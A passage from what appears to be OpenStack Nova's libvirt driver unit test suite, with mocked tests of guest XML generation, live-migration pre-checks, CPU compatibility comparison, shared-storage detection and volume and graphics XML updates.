disks: self.assertEqual(guest_disk.get("cache"), "none") directio_supported = False # The O_DIRECT availability is cached on first use in # LibvirtDriver, hence we re-create it here drv = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) xml = drv._get_guest_xml(self.context, instance_ref, network_info, disk_info, image_meta) tree = etree.fromstring(xml) disks = tree.findall('./devices/disk/driver') for guest_disk in disks: self.assertEqual(guest_disk.get("cache"), "writethrough") def _check_xml_and_disk_bus(self, image_meta, block_device_info, wantConfig): instance_ref = objects.Instance(**self.test_instance) network_info = _fake_network_info(self.stubs, 1) drv = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta, block_device_info) xml = drv._get_guest_xml(self.context, instance_ref, network_info, disk_info, image_meta, block_device_info=block_device_info) tree = etree.fromstring(xml) got_disks = tree.findall('./devices/disk') got_disk_targets = tree.findall('./devices/disk/target') for i in range(len(wantConfig)): want_device_type = wantConfig[i][0] want_device_bus = wantConfig[i][1] want_device_dev = wantConfig[i][2] got_device_type = got_disks[i].get('device') got_device_bus = got_disk_targets[i].get('bus') got_device_dev = got_disk_targets[i].get('dev') self.assertEqual(got_device_type, want_device_type) self.assertEqual(got_device_bus, want_device_bus) self.assertEqual(got_device_dev, want_device_dev) def _check_xml_and_uuid(self, image_meta): instance_ref = objects.Instance(**self.test_instance) image_meta = {} network_info = _fake_network_info(self.stubs, 1) drv = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) xml = drv._get_guest_xml(self.context, instance_ref, network_info, disk_info, image_meta) tree = etree.fromstring(xml) self.assertEqual(tree.find('./uuid').text, instance_ref['uuid']) @mock.patch.object(libvirt_driver.LibvirtDriver, "_get_host_sysinfo_serial_hardware",) def _check_xml_and_uri(self, instance, mock_serial, expect_ramdisk=False, expect_kernel=False, rescue=None, expect_xen_hvm=False, xen_only=False): mock_serial.return_value = "cef19ce0-0ca2-11df-855d-b19fbce37686" instance_ref = objects.Instance(**instance) image_meta = {} xen_vm_mode = vm_mode.XEN if expect_xen_hvm: xen_vm_mode = vm_mode.HVM type_uri_map = {'qemu': ('qemu:///system', [(lambda t: t.find('.').get('type'), 'qemu'), (lambda t: t.find('./os/type').text, vm_mode.HVM), (lambda t: t.find('./devices/emulator'), None)]), 'kvm': ('qemu:///system', [(lambda t: t.find('.').get('type'), 'kvm'), (lambda t: t.find('./os/type').text, vm_mode.HVM), (lambda t: t.find('./devices/emulator'), None)]), 'uml': ('uml:///system', [(lambda t: t.find('.').get('type'), 'uml'), (lambda t: t.find('./os/type').text, vm_mode.UML)]), 'xen': ('xen:///', [(lambda t: t.find('.').get('type'), 'xen'), (lambda t: t.find('./os/type').text, xen_vm_mode)])} if expect_xen_hvm or xen_only: hypervisors_to_check = ['xen'] else: hypervisors_to_check = ['qemu', 'kvm', 'xen'] for hypervisor_type in hypervisors_to_check: check_list = type_uri_map[hypervisor_type][1] if rescue: suffix = '.rescue' else: suffix = '' if expect_kernel: check = (lambda t: self.relpath(t.find('./os/kernel').text). split('/')[1], 'kernel' + suffix) else: check = (lambda t: t.find('./os/kernel'), None) check_list.append(check) if expect_kernel: check = (lambda t: "no_timer_check" in t.find('./os/cmdline'). text, hypervisor_type == "qemu") check_list.append(check) # Hypervisors that only support vm_mode.HVM and Xen # should not produce configuration that results in kernel # arguments if not expect_kernel and (hypervisor_type in ['qemu', 'kvm', 'xen']): check = (lambda t: t.find('./os/root'), None) check_list.append(check) check = (lambda t: t.find('./os/cmdline'), None) check_list.append(check) if expect_ramdisk: check = (lambda t: self.relpath(t.find('./os/initrd').text). split('/')[1], 'ramdisk' + suffix) else: check = (lambda t: t.find('./os/initrd'), None) check_list.append(check) if hypervisor_type in ['qemu', 'kvm']: xpath = "./sysinfo/system/entry" check = (lambda t: t.findall(xpath)[0].get("name"), "manufacturer") check_list.append(check) check = (lambda t: t.findall(xpath)[0].text, version.vendor_string()) check_list.append(check) check = (lambda t: t.findall(xpath)[1].get("name"), "product") check_list.append(check) check = (lambda t: t.findall(xpath)[1].text, version.product_string()) check_list.append(check) check = (lambda t: t.findall(xpath)[2].get("name"), "version") check_list.append(check) # NOTE(sirp): empty strings don't roundtrip in lxml (they are # converted to None), so we need an `or ''` to correct for that check = (lambda t: t.findall(xpath)[2].text or '', version.version_string_with_package()) check_list.append(check) check = (lambda t: t.findall(xpath)[3].get("name"), "serial") check_list.append(check) check = (lambda t: t.findall(xpath)[3].text, "cef19ce0-0ca2-11df-855d-b19fbce37686") check_list.append(check) check = (lambda t: t.findall(xpath)[4].get("name"), "uuid") check_list.append(check) check = (lambda t: t.findall(xpath)[4].text, instance['uuid']) check_list.append(check) if hypervisor_type in ['qemu', 'kvm']: check = (lambda t: t.findall('./devices/serial')[0].get( 'type'), 'file') check_list.append(check) check = (lambda t: t.findall('./devices/serial')[1].get( 'type'), 'pty') check_list.append(check) check = (lambda t: self.relpath(t.findall( './devices/serial/source')[0].get('path')). split('/')[1], 'console.log') check_list.append(check) else: check = (lambda t: t.find('./devices/console').get( 'type'), 'pty') check_list.append(check) common_checks = [ (lambda t: t.find('.').tag, 'domain'), (lambda t: t.find('./memory').text, '2097152')] if rescue: common_checks += [ (lambda t: self.relpath(t.findall('./devices/disk/source')[0]. get('file')).split('/')[1], 'disk.rescue'), (lambda t: self.relpath(t.findall('./devices/disk/source')[1]. get('file')).split('/')[1], 'disk')] else: common_checks += [(lambda t: self.relpath(t.findall( './devices/disk/source')[0].get('file')).split('/')[1], 'disk')] common_checks += [(lambda t: self.relpath(t.findall( './devices/disk/source')[1].get('file')).split('/')[1], 'disk.local')] for virt_type in hypervisors_to_check: expected_uri = type_uri_map[virt_type][0] checks = type_uri_map[virt_type][1] self.flags(virt_type=virt_type, group='libvirt') with mock.patch('nova.virt.libvirt.driver.libvirt') as old_virt: del old_virt.VIR_CONNECT_BASELINE_CPU_EXPAND_FEATURES drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.assertEqual(drvr._uri(), expected_uri) network_info = _fake_network_info(self.stubs, 1) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta, rescue=rescue) xml = drvr._get_guest_xml(self.context, instance_ref, network_info, disk_info, image_meta, rescue=rescue) tree = etree.fromstring(xml) for i, (check, expected_result) in enumerate(checks): self.assertEqual(check(tree), expected_result, '%s != %s failed check %d' % (check(tree), expected_result, i)) for i, (check, expected_result) in enumerate(common_checks): self.assertEqual(check(tree), expected_result, '%s != %s failed common check %d' % (check(tree), expected_result, i)) filterref = './devices/interface/filterref' vif = network_info[0] nic_id = vif['address'].replace(':', '') fw = firewall.NWFilterFirewall(fake.FakeVirtAPI(), drvr) instance_filter_name = fw._instance_filter_name(instance_ref, nic_id) self.assertEqual(tree.find(filterref).get('filter'), instance_filter_name) # This test is supposed to make sure we don't # override a specifically set uri # # Deliberately not just assigning this string to CONF.connection_uri # and checking against that later on. This way we make sure the # implementation doesn't fiddle around with the CONF. testuri = 'something completely different' self.flags(connection_uri=testuri, group='libvirt') for (virt_type, (expected_uri, checks)) in six.iteritems(type_uri_map): self.flags(virt_type=virt_type, group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.assertEqual(drvr._uri(), testuri) def test_ensure_filtering_rules_for_instance_timeout(self): # ensure_filtering_fules_for_instance() finishes with timeout. # Preparing mocks def fake_none(self, *args): return class FakeTime(object): def __init__(self): self.counter = 0 def sleep(self, t): self.counter += t fake_timer = FakeTime() def fake_sleep(t): fake_timer.sleep(t) # _fake_network_info must be called before create_fake_libvirt_mock(), # as _fake_network_info calls importutils.import_class() and # create_fake_libvirt_mock() mocks importutils.import_class(). network_info = _fake_network_info(self.stubs, 1) self.create_fake_libvirt_mock() instance_ref = objects.Instance(**self.test_instance) # Start test self.mox.ReplayAll() try: drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(drvr.firewall_driver, 'setup_basic_filtering', fake_none) self.stubs.Set(drvr.firewall_driver, 'prepare_instance_filter', fake_none) self.stubs.Set(drvr.firewall_driver, 'instance_filter_exists', fake_none) self.stubs.Set(greenthread, 'sleep', fake_sleep) drvr.ensure_filtering_rules_for_instance(instance_ref, network_info) except exception.NovaException as e: msg = ('The firewall filter for %s does not exist' % instance_ref['name']) c1 = (0 <= six.text_type(e).find(msg)) self.assertTrue(c1) self.assertEqual(29, fake_timer.counter, "Didn't wait the expected " "amount of time") @mock.patch.object(libvirt_driver.LibvirtDriver, '_create_shared_storage_test_file') @mock.patch.object(fakelibvirt.Connection, 'compareCPU') def test_check_can_live_migrate_dest_all_pass_with_block_migration( self, mock_cpu, mock_test_file): instance_ref = objects.Instance(**self.test_instance) instance_ref.vcpu_model = test_vcpu_model.fake_vcpumodel drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) compute_info = {'disk_available_least': 400, 'cpu_info': 'asdf', } filename = "file" # _check_cpu_match mock_cpu.return_value = 1 # mounted_on_same_shared_storage mock_test_file.return_value = filename # No need for the src_compute_info return_value = drvr.check_can_live_migrate_destination(self.context, instance_ref, None, compute_info, True) self.assertThat({"filename": "file", 'image_type': 'default', 'disk_available_mb': 409600, "disk_over_commit": False, "block_migration": True}, matchers.DictMatches(return_value)) @mock.patch.object(libvirt_driver.LibvirtDriver, '_create_shared_storage_test_file') @mock.patch.object(fakelibvirt.Connection, 'compareCPU') def test_check_can_live_migrate_dest_all_pass_no_block_migration( self, mock_cpu, mock_test_file): instance_ref = objects.Instance(**self.test_instance) instance_ref.vcpu_model = test_vcpu_model.fake_vcpumodel drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) compute_info = {'disk_available_least': 400, 'cpu_info': 'asdf', } filename = "file" # _check_cpu_match mock_cpu.return_value = 1 # mounted_on_same_shared_storage mock_test_file.return_value = filename # No need for the src_compute_info return_value = drvr.check_can_live_migrate_destination(self.context, instance_ref, None, compute_info, False) self.assertThat({"filename": "file", "image_type": 'default', "block_migration": False, "disk_over_commit": False, "disk_available_mb": None}, matchers.DictMatches(return_value)) @mock.patch.object(libvirt_driver.LibvirtDriver, '_create_shared_storage_test_file', return_value='fake') @mock.patch.object(libvirt_driver.LibvirtDriver, '_compare_cpu') def test_check_can_live_migrate_guest_cpu_none_model( self, mock_cpu, mock_test_file): # Tests that when instance.vcpu_model.model is None, the host cpu # model is used for live migration. instance_ref = objects.Instance(**self.test_instance) instance_ref.vcpu_model = test_vcpu_model.fake_vcpumodel instance_ref.vcpu_model.model = None drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) compute_info = {'cpu_info': 'asdf'} result = drvr.check_can_live_migrate_destination( self.context, instance_ref, compute_info, compute_info) mock_cpu.assert_called_once_with(None, 'asdf') expected_result = {"filename": 'fake', "image_type": CONF.libvirt.images_type, "block_migration": False, "disk_over_commit": False, "disk_available_mb": None} self.assertDictEqual(expected_result, result) @mock.patch.object(libvirt_driver.LibvirtDriver, '_create_shared_storage_test_file') @mock.patch.object(fakelibvirt.Connection, 'compareCPU') def test_check_can_live_migrate_dest_no_instance_cpu_info( self, mock_cpu, mock_test_file): instance_ref = objects.Instance(**self.test_instance) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) compute_info = {'cpu_info': jsonutils.dumps({ "vendor": "AMD", "arch": arch.I686, "features": ["sse3"], "model": "Opteron_G3", "topology": {"cores": 2, "threads": 1, "sockets": 4} })} filename = "file" # _check_cpu_match mock_cpu.return_value = 1 # mounted_on_same_shared_storage mock_test_file.return_value = filename return_value = drvr.check_can_live_migrate_destination(self.context, instance_ref, compute_info, compute_info, False) self.assertThat({"filename": "file", "image_type": 'default', "block_migration": False, "disk_over_commit": False, "disk_available_mb": None}, matchers.DictMatches(return_value)) @mock.patch.object(fakelibvirt.Connection, 'compareCPU') def test_check_can_live_migrate_dest_incompatible_cpu_raises( self, mock_cpu): instance_ref = objects.Instance(**self.test_instance) instance_ref.vcpu_model = test_vcpu_model.fake_vcpumodel drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) compute_info = {'cpu_info': 'asdf'} mock_cpu.side_effect = exception.InvalidCPUInfo(reason='foo') self.assertRaises(exception.InvalidCPUInfo, drvr.check_can_live_migrate_destination, self.context, instance_ref, compute_info, compute_info, False) @mock.patch.object(host.Host, 'compare_cpu') @mock.patch.object(nova.virt.libvirt, 'config') def test_compare_cpu_compatible_host_cpu(self, mock_vconfig, mock_compare): mock_compare.return_value = 5 conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) ret = conn._compare_cpu(None, jsonutils.dumps(_fake_cpu_info)) self.assertIsNone(ret) @mock.patch.object(host.Host, 'compare_cpu') @mock.patch.object(nova.virt.libvirt, 'config') def test_compare_cpu_handles_not_supported_error_gracefully(self, mock_vconfig, mock_compare): not_supported_exc = fakelibvirt.make_libvirtError( fakelibvirt.libvirtError, 'this function is not supported by the connection driver:' ' virCompareCPU', error_code=fakelibvirt.VIR_ERR_NO_SUPPORT) mock_compare.side_effect = not_supported_exc conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) ret = conn._compare_cpu(None, jsonutils.dumps(_fake_cpu_info)) self.assertIsNone(ret) @mock.patch.object(host.Host, 'compare_cpu') @mock.patch.object(nova.virt.libvirt.LibvirtDriver, '_vcpu_model_to_cpu_config') def test_compare_cpu_compatible_guest_cpu(self, mock_vcpu_to_cpu, mock_compare): mock_compare.return_value = 6 conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) ret = conn._compare_cpu(jsonutils.dumps(_fake_cpu_info), None) self.assertIsNone(ret) def test_compare_cpu_virt_type_xen(self): self.flags(virt_type='xen', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) ret = conn._compare_cpu(None, None) self.assertIsNone(ret) @mock.patch.object(host.Host, 'compare_cpu') @mock.patch.object(nova.virt.libvirt, 'config') def test_compare_cpu_invalid_cpuinfo_raises(self, mock_vconfig, mock_compare): mock_compare.return_value = 0 conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertRaises(exception.InvalidCPUInfo, conn._compare_cpu, None, jsonutils.dumps(_fake_cpu_info)) @mock.patch.object(host.Host, 'compare_cpu') @mock.patch.object(nova.virt.libvirt, 'config') def test_compare_cpu_incompatible_cpu_raises(self, mock_vconfig, mock_compare): mock_compare.side_effect = fakelibvirt.libvirtError('cpu') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertRaises(exception.MigrationPreCheckError, conn._compare_cpu, None, jsonutils.dumps(_fake_cpu_info)) def test_check_can_live_migrate_dest_cleanup_works_correctly(self): objects.Instance(**self.test_instance) dest_check_data = {"filename": "file", "block_migration": True, "disk_over_commit": False, "disk_available_mb": 1024} drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.mox.StubOutWithMock(drvr, '_cleanup_shared_storage_test_file') drvr._cleanup_shared_storage_test_file("file") self.mox.ReplayAll() drvr.check_can_live_migrate_destination_cleanup(self.context, dest_check_data) def _mock_can_live_migrate_source(self, block_migration=False, is_shared_block_storage=False, is_shared_instance_path=False, disk_available_mb=1024, block_device_info=None): instance = objects.Instance(**self.test_instance) dest_check_data = {'filename': 'file', 'image_type': 'default', 'block_migration': block_migration, 'disk_over_commit': False, 'disk_available_mb': disk_available_mb} drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.mox.StubOutWithMock(drvr, '_is_shared_block_storage') drvr._is_shared_block_storage(instance, dest_check_data, block_device_info).AndReturn(is_shared_block_storage) self.mox.StubOutWithMock(drvr, '_check_shared_storage_test_file') drvr._check_shared_storage_test_file('file').AndReturn( is_shared_instance_path) return (instance, dest_check_data, drvr) def test_check_can_live_migrate_source_block_migration(self): instance, dest_check_data, drvr = self._mock_can_live_migrate_source( block_migration=True) self.mox.StubOutWithMock(drvr, "_assert_dest_node_has_enough_disk") drvr._assert_dest_node_has_enough_disk( self.context, instance, dest_check_data['disk_available_mb'], False, None) self.mox.ReplayAll() ret = drvr.check_can_live_migrate_source(self.context, instance, dest_check_data) self.assertIsInstance(ret, dict) self.assertIn('is_shared_block_storage', ret) self.assertIn('is_shared_instance_path', ret) self.assertEqual(ret['is_shared_instance_path'], ret['is_shared_storage']) def test_check_can_live_migrate_source_shared_block_storage(self): instance, dest_check_data, drvr = self._mock_can_live_migrate_source( is_shared_block_storage=True) self.mox.ReplayAll() drvr.check_can_live_migrate_source(self.context, instance, dest_check_data) def test_check_can_live_migrate_source_shared_instance_path(self): instance, dest_check_data, drvr = self._mock_can_live_migrate_source( is_shared_instance_path=True) self.mox.ReplayAll() drvr.check_can_live_migrate_source(self.context, instance, dest_check_data) def test_check_can_live_migrate_source_non_shared_fails(self): instance, dest_check_data, drvr = self._mock_can_live_migrate_source() self.mox.ReplayAll() self.assertRaises(exception.InvalidSharedStorage, drvr.check_can_live_migrate_source, self.context, instance, dest_check_data) def test_check_can_live_migrate_source_shared_block_migration_fails(self): instance, dest_check_data, drvr = self._mock_can_live_migrate_source( block_migration=True, is_shared_block_storage=True) self.mox.ReplayAll() self.assertRaises(exception.InvalidLocalStorage, drvr.check_can_live_migrate_source, self.context, instance, dest_check_data) def test_check_can_live_migrate_shared_path_block_migration_fails(self): instance, dest_check_data, drvr = self._mock_can_live_migrate_source( block_migration=True, is_shared_instance_path=True) self.mox.ReplayAll() self.assertRaises(exception.InvalidLocalStorage, drvr.check_can_live_migrate_source, self.context, instance, dest_check_data, None) def test_check_can_live_migrate_non_shared_non_block_migration_fails(self): instance, dest_check_data, drvr = self._mock_can_live_migrate_source() self.mox.ReplayAll() self.assertRaises(exception.InvalidSharedStorage, drvr.check_can_live_migrate_source, self.context, instance, dest_check_data) def test_check_can_live_migrate_source_with_dest_not_enough_disk(self): instance, dest_check_data, drvr = self._mock_can_live_migrate_source( block_migration=True, disk_available_mb=0) self.mox.StubOutWithMock(drvr, "get_instance_disk_info") drvr.get_instance_disk_info(instance, block_device_info=None).AndReturn( '[{"virt_disk_size":2}]') self.mox.ReplayAll() self.assertRaises(exception.MigrationError, drvr.check_can_live_migrate_source, self.context, instance, dest_check_data) def _is_shared_block_storage_test_create_mocks(self, disks): # Test data instance_xml = ("<domain type='kvm'><name>instance-0000000a</name>" "<devices>{}</devices></domain>") disks_xml = '' for dsk in disks: if dsk['type'] is not 'network': disks_xml = ''.join([disks_xml, "<disk type='{type}'>" "<driver name='qemu' type='{driver}'/>" "<source {source}='{source_path}'/>" "<target dev='{target_dev}' bus='virtio'/>" "</disk>".format(**dsk)]) else: disks_xml = ''.join([disks_xml, "<disk type='{type}'>" "<driver name='qemu' type='{driver}'/>" "<source protocol='{source_proto}'" "name='{source_image}' >" "<host name='hostname' port='7000'/>" "<config file='/path/to/file'/>" "</source>" "<target dev='{target_dev}'" "bus='ide'/>".format(**dsk)]) # Preparing mocks mock_virDomain = mock.Mock(fakelibvirt.virDomain) mock_virDomain.XMLDesc = mock.Mock() mock_virDomain.XMLDesc.return_value = (instance_xml.format(disks_xml)) mock_lookup = mock.Mock() def mock_lookup_side_effect(name): return mock_virDomain mock_lookup.side_effect = mock_lookup_side_effect mock_getsize = mock.Mock() mock_getsize.return_value = "10737418240" return (mock_getsize, mock_lookup) def test_is_shared_block_storage_rbd(self): self.flags(images_type='rbd', group='libvirt') bdi = {'block_device_mapping': []} instance = objects.Instance(**self.test_instance) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) mock_get_instance_disk_info = mock.Mock() with mock.patch.object(drvr, 'get_instance_disk_info', mock_get_instance_disk_info): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertTrue(drvr._is_shared_block_storage(instance, {'image_type': 'rbd'}, block_device_info=bdi)) self.assertEqual(0, mock_get_instance_disk_info.call_count) def test_is_shared_block_storage_lvm(self): self.flags(images_type='lvm', group='libvirt') bdi = {'block_device_mapping': []} instance = objects.Instance(**self.test_instance) mock_get_instance_disk_info = mock.Mock() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) with mock.patch.object(drvr, 'get_instance_disk_info', mock_get_instance_disk_info): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertFalse(drvr._is_shared_block_storage( instance, {'image_type': 'lvm'}, block_device_info=bdi)) self.assertEqual(0, mock_get_instance_disk_info.call_count) def test_is_shared_block_storage_qcow2(self): self.flags(images_type='qcow2', group='libvirt') bdi = {'block_device_mapping': []} instance = objects.Instance(**self.test_instance) mock_get_instance_disk_info = mock.Mock() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) with mock.patch.object(drvr, 'get_instance_disk_info', mock_get_instance_disk_info): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertFalse(drvr._is_shared_block_storage( instance, {'image_type': 'qcow2'}, block_device_info=bdi)) self.assertEqual(0, mock_get_instance_disk_info.call_count) def test_is_shared_block_storage_rbd_only_source(self): self.flags(images_type='rbd', group='libvirt') bdi = {'block_device_mapping': []} instance = objects.Instance(**self.test_instance) mock_get_instance_disk_info = mock.Mock() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) with mock.patch.object(drvr, 'get_instance_disk_info', mock_get_instance_disk_info): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertFalse(drvr._is_shared_block_storage( instance, {'is_shared_instance_path': False}, block_device_info=bdi)) self.assertEqual(0, mock_get_instance_disk_info.call_count) def test_is_shared_block_storage_rbd_only_dest(self): bdi = {'block_device_mapping': []} instance = objects.Instance(**self.test_instance) mock_get_instance_disk_info = mock.Mock() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) with mock.patch.object(drvr, 'get_instance_disk_info', mock_get_instance_disk_info): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertFalse(drvr._is_shared_block_storage( instance, {'image_type': 'rbd', 'is_shared_instance_path': False}, block_device_info=bdi)) self.assertEqual(0, mock_get_instance_disk_info.call_count) def test_is_shared_block_storage_volume_backed(self): disks = [{'type': 'block', 'driver': 'raw', 'source': 'dev', 'source_path': '/dev/disk', 'target_dev': 'vda'}] bdi = {'block_device_mapping': [ {'connection_info': 'info', 'mount_device': '/dev/vda'}]} instance = objects.Instance(**self.test_instance) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) (mock_getsize, mock_lookup) =\ self._is_shared_block_storage_test_create_mocks(disks) with mock.patch.object(host.Host, 'get_domain', mock_lookup): self.assertTrue(drvr._is_shared_block_storage(instance, {'is_volume_backed': True, 'is_shared_instance_path': False}, block_device_info = bdi)) mock_lookup.assert_called_once_with(instance) def test_is_shared_block_storage_volume_backed_with_disk(self): disks = [{'type': 'block', 'driver': 'raw', 'source': 'dev', 'source_path': '/dev/disk', 'target_dev': 'vda'}, {'type': 'file', 'driver': 'raw', 'source': 'file', 'source_path': '/instance/disk.local', 'target_dev': 'vdb'}] bdi = {'block_device_mapping': [ {'connection_info': 'info', 'mount_device': '/dev/vda'}]} instance = objects.Instance(**self.test_instance) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) (mock_getsize, mock_lookup) =\ self._is_shared_block_storage_test_create_mocks(disks) with contextlib.nested( mock.patch.object(os.path, 'getsize', mock_getsize), mock.patch.object(host.Host, 'get_domain', mock_lookup)): self.assertFalse(drvr._is_shared_block_storage( instance, {'is_volume_backed': True, 'is_shared_instance_path': False}, block_device_info = bdi)) mock_getsize.assert_called_once_with('/instance/disk.local') mock_lookup.assert_called_once_with(instance) def test_is_shared_block_storage_nfs(self): bdi = {'block_device_mapping': []} drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) mock_image_backend = mock.MagicMock() drvr.image_backend = mock_image_backend mock_backend = mock.MagicMock() mock_image_backend.backend.return_value = mock_backend mock_backend.is_file_in_instance_path.return_value = True mock_get_instance_disk_info = mock.Mock() with mock.patch.object(drvr, 'get_instance_disk_info', mock_get_instance_disk_info): self.assertTrue(drvr._is_shared_block_storage('instance', {'is_shared_instance_path': True}, block_device_info=bdi)) self.assertEqual(0, mock_get_instance_disk_info.call_count) def test_live_migration_update_graphics_xml(self): self.compute = importutils.import_object(CONF.compute_manager) instance_dict = dict(self.test_instance) instance_dict.update({'host': 'fake', 'power_state': power_state.RUNNING, 'vm_state': vm_states.ACTIVE}) instance_ref = objects.Instance(**instance_dict) xml_tmpl = ("<domain type='kvm'>" "<devices>" "<graphics type='vnc' listen='{vnc}'>" "<listen address='{vnc}'/>" "</graphics>" "<graphics type='spice' listen='{spice}'>" "<listen address='{spice}'/>" "</graphics>" "</devices>" "</domain>") initial_xml = xml_tmpl.format(vnc='1.2.3.4', spice='5.6.7.8') target_xml = xml_tmpl.format(vnc='10.0.0.1', spice='10.0.0.2') target_xml = etree.tostring(etree.fromstring(target_xml)) # Preparing mocks vdmock = self.mox.CreateMock(fakelibvirt.virDomain) self.mox.StubOutWithMock(vdmock, "migrateToURI2") _bandwidth = CONF.libvirt.live_migration_bandwidth vdmock.XMLDesc(flags=fakelibvirt.VIR_DOMAIN_XML_MIGRATABLE).AndReturn( initial_xml) vdmock.migrateToURI2(CONF.libvirt.live_migration_uri % 'dest', None, target_xml, mox.IgnoreArg(), None, _bandwidth).AndRaise( fakelibvirt.libvirtError("ERR")) # start test migrate_data = {'pre_live_migration_result': {'graphics_listen_addrs': {'vnc': '10.0.0.1', 'spice': '10.0.0.2'}}} self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertRaises(fakelibvirt.libvirtError, drvr._live_migration_operation, self.context, instance_ref, 'dest', False, migrate_data, vdmock) def test_live_migration_update_volume_xml(self): self.compute = importutils.import_object(CONF.compute_manager) instance_dict = dict(self.test_instance) instance_dict.update({'host': 'fake', 'power_state': power_state.RUNNING, 'vm_state': vm_states.ACTIVE}) instance_ref = objects.Instance(**instance_dict) target_xml = self.device_xml_tmpl.format( device_path='/dev/disk/by-path/' 'ip-1.2.3.4:3260-iqn.' 'cde.67890.opst-lun-Z') # start test migrate_data = {'pre_live_migration_result': {'volume': {u'58a84f6d-3f0c-4e19-a0af-eb657b790657': {'connection_info': {u'driver_volume_type': u'iscsi', 'serial': u'58a84f6d-3f0c-4e19-a0af-eb657b790657', u'data': {u'access_mode': u'rw', u'target_discovered': False, u'target_iqn': u'ip-1.2.3.4:3260-iqn.cde.67890.opst-lun-Z', u'volume_id': u'58a84f6d-3f0c-4e19-a0af-eb657b790657', 'device_path': u'/dev/disk/by-path/ip-1.2.3.4:3260-iqn.cde.67890.opst-lun-Z'}}, 'disk_info': {'bus': u'virtio', 'type': u'disk', 'dev': u'vdb'}}}}, 'graphics_listen_addrs': {}} pre_live_migrate_data = ((migrate_data or {}). get('pre_live_migration_result', {})) volume = pre_live_migrate_data.get('volume') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) test_mock = mock.MagicMock() with mock.patch.object(libvirt_driver.LibvirtDriver, 'get_info') as \ mget_info,\ mock.patch.object(drvr._host, 'get_domain') as mget_domain,\ mock.patch.object(fakelibvirt.virDomain, 'migrateToURI2'),\ mock.patch.object(drvr, '_update_xml') as mupdate: mget_info.side_effect = exception.InstanceNotFound( instance_id='foo') mget_domain.return_value = test_mock test_mock.XMLDesc.return_value = target_xml self.assertFalse(drvr._live_migration_operation( self.context, instance_ref, 'dest', False, migrate_data, test_mock)) mupdate.assert_called_once_with(target_xml, volume, None) def test_update_volume_xml(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) initial_xml = self.device_xml_tmpl.format( device_path='/dev/disk/by-path/' 'ip-1.2.3.4:3260-iqn.' 'abc.12345.opst-lun-X') target_xml = self.device_xml_tmpl.format( device_path='/dev/disk/by-path/' 'ip-1.2.3.4:3260-iqn.' 'cde.67890.opst-lun-Z') target_xml = etree.tostring(etree.fromstring(target_xml)) serial = "58a84f6d-3f0c-4e19-a0af-eb657b790657" volume_xml = {'volume': {}} volume_xml['volume'][serial] = {'connection_info': {}, 'disk_info': {}} volume_xml['volume'][serial]['connection_info'] = \ {u'driver_volume_type': u'iscsi', 'serial': u'58a84f6d-3f0c-4e19-a0af-eb657b790657', u'data': {u'access_mode': u'rw', u'target_discovered': False, u'target_iqn': u'ip-1.2.3.4:3260-iqn.cde.67890.opst-lun-Z', u'volume_id': u'58a84f6d-3f0c-4e19-a0af-eb657b790657', 'device_path': u'/dev/disk/by-path/ip-1.2.3.4:3260-iqn.cde.67890.opst-lun-Z'}} volume_xml['volume'][serial]['disk_info'] = {'bus': u'virtio', 'type': u'disk', 'dev': u'vdb'} connection_info = volume_xml['volume'][serial]['connection_info'] disk_info = volume_xml['volume'][serial]['disk_info'] conf = vconfig.LibvirtConfigGuestDisk() conf.source_device = disk_info['type'] conf.driver_name = "qemu" conf.driver_format = "raw" conf.driver_cache = "none" conf.target_dev = disk_info['dev'] conf.target_bus = disk_info['bus'] conf.serial = connection_info.get('serial') conf.source_type = "block" conf.source_path = connection_info['data'].get('device_path') with mock.patch.object(drvr, '_get_volume_config', return_value=conf): parser = etree.XMLParser(remove_blank_text=True) xml_doc = etree.fromstring(initial_xml, parser) config = drvr._update_volume_xml(xml_doc, volume_xml['volume']) xml_doc = etree.fromstring(target_xml, parser) self.assertEqual(etree.tostring(xml_doc), etree.tostring(config)) def 